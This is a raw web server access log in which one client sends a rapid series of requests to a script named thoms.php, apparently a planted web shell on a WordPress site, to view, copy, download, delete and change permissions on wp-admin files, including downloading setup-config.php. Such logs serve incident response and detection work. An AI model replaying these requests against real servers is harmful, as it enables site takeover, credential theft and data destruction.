45.135.193.11 - - [11/Sep/2026:23:22:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15903 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12298 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fauthorize-application.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fauthorize-application.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14042 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16377 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?del=site-health.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:04 -0400] "GET /thoms.php?del=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /big-wife.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /big-wife.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?dl=install-helper.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14234 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?dl=authorize-application.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:05 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13042 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?del=menu.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=menu.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13012 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20030 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15054 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?dl=load-scripts.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?del=options-general.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28893 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18481 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:06 -0400] "GET /thoms.php?dl=setup-config.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14273 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?dl=options-general.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /big-wife.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /big-wife.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?del=options-media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22457 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?dl=customize.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /big-wife.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /big-wife.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16872 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /thoms.php?del=revision.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=revision.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:07 -0400] "GET /big-wife.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /big-wife.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15559 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12286 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12670 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:08 -0400] "GET /big-wife.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?chmod=media-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14113 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?chmod=options-general.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /big-wife.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-reading.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-reading.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?del=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugins.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugins.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:09 -0400] "GET /thoms.php?chmod=edit-tags.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?chmod=post-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14154 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?dl=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fexport.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fexport.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13074 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?del=font-library.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?del=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?chmod=network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:10 -0400] "GET /thoms.php?del=themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /big-wife.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-head.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-head.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?dl=link.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=link.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fusers.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fusers.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17283 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
